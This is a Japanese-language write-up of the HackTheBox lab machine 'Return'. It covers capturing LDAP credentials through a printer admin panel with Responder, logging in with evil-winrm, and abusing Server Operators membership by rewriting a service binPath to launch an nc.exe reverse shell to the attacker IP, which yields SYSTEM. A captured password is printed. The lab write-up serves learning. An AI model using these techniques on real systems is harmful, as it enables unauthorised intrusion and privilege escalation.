【HackTheBox】Return Writeup
Recon
port scan
nmap -Pn 10.10.11.108 -p 53,80,389,445,464,593,636,3268,3269 -sVC
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: HTB Printer Admin Panel
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
Service Info: Host: PRINTER; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 18m41s
| smb2-time:
| date: 2024-01-31T15:37:40
|_ start_date: N/A
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
開いているポートの情報はこんな感じです。
LDAP
nmapのスクリプトを実行してみます。
nmap -Pn 10.10.11.108 -p 389 --script "ldap* and not brute"
PORT STATE SERVICE
389/tcp open ldap
| ldap-rootdse:
| LDAP Results
| <ROOT>
| domainFunctionality: 7
| forestFunctionality: 7
| domainControllerFunctionality: 7
| rootDomainNamingContext: DC=return,DC=local
| ldapServiceName: return.local:printer$@RETURN.LOCAL
<SNIP>
domain名はreturn.localです。
SMB
null sessionで接続してみます。anonymous login successfulと書いてあったが、shareの情報はなかったです。
┌──(kali㉿kali)-[~]
└─$ smbclient -N -L \\\\10.10.11.108
Anonymous login successful
Sharename Type Comment
--------- ---- -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.11.108 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
HTTP
ウェブサイトはプリンターのadmin panelみたいです。
settings.php
ではサーバーコネクションの設定フォームがあります。
リクエストを見ると、変更できるのはipだけでした。
ipをattack boxの値に変えて接続するとプリンターからLDAP serverのcredentialsがもらえるかもしれません。やってみます。
responderを起動して、ネットワークをモニタリングします。
sudo responder -I tun0
フォームをsubmitするとresponderに認証情報が来ました。
Shell as printer-svc
port 5985が開いていたので(上のnmap outputでは省略していますが)、evil-winrmでシェルを取ってみます。
┌──(kali㉿kali)-[~]
└─$ evil-winrm -i 10.10.11.108 -u svc-printer -p "1edFg43012\!\!"
*Evil-WinRM* PS C:\Users\svc-printer\Documents> whoami
return\svc-printer
*Evil-WinRM* PS C:\Users\svc-printer\Documents> ls ../Desktop
Directory: C:\Users\svc-printer\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 1/31/2024 7:35 AM 34 user.txt
userフラグゲットできました!
group information
ユーザーの情報をみてみます。
*Evil-WinRM* PS C:\Users\svc-printer\Documents> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= =================================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeLoadDriverPrivilege Load and unload device drivers Enabled
SeSystemtimePrivilege Change the system time Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
*Evil-WinRM* PS C:\Users\svc-printer\Documents> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Server Operators Alias S-1-5-32-549 Mandatory group, Enabled by default, Enabled group
BUILTIN\Print Operators Alias S-1-5-32-550 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288
なかなか強い権限を持っていますね。
Server OperatorsとPrint Operatorsグループは権限昇格に使えそうです。
abuse server operators group privilege
Server Operatorsグループに入っているユーザーはSeBackupPrivilege、SeRestorePrivilege、そしてサービスを制御する権限を持っています。
サービスをストップ→サービスのbinary pathを実行したいコマンドに設定する→サービス再起動、これでadministratorのシェルが取れるはずなのでやってみます。
まずはnc.exeをアップロードします。
*Evil-WinRM* PS C:\ProgramData\temp> upload /kali/home/wintools/nc.exe
サービスの一覧を出します。
*Evil-WinRM* PS C:\ProgramData\temp> services
Path Privileges Service
---- ---------- -------
C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe True ADWS
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SMSvcHost.exe True NetTcpPortSharing
C:\Windows\SysWow64\perfhost.exe True PerfHost
"C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe" False Sense
C:\Windows\servicing\TrustedInstaller.exe False TrustedInstaller
"C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe" True VGAuthService
"C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" True VMTools
"C:\WINDOWS\system32\vssvc.exe" True VSS
"C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2104.14-0\NisSrv.exe" True WdNisSvc
"C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2104.14-0\MsMpEng.exe" True WinDefend
"C:\Program Files\Windows Media Player\wmpnetwk.exe" False WMPNetworkSvc
適当に選びます。nc listenerも起動します。
*Evil-WinRM* PS C:\ProgramData\temp> sc.exe stop VMTools
SERVICE_NAME: VMTools
TYPE : 10 WIN32_OWN_PROCESS
STATE : 1 STOPPED
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
*Evil-WinRM* PS C:\ProgramData\temp> sc.exe config VMTools binPath="C:\ProgramData\temp\nc.exe -e cmd.exe 10.10.14.7 1234"
[SC] ChangeServiceConfig SUCCESS
*Evil-WinRM* PS C:\ProgramData\temp> sc.exe start VMTools
Shell as root
listenerの方にrev shellが届きました。
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 1234
C:\Windows\system32>whoami
whoami
nt authority\system
C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
rootフラグゲットできました。
Memo
windows boxデビューしました!Active Directoryに詳しくなりたいです。
Discussion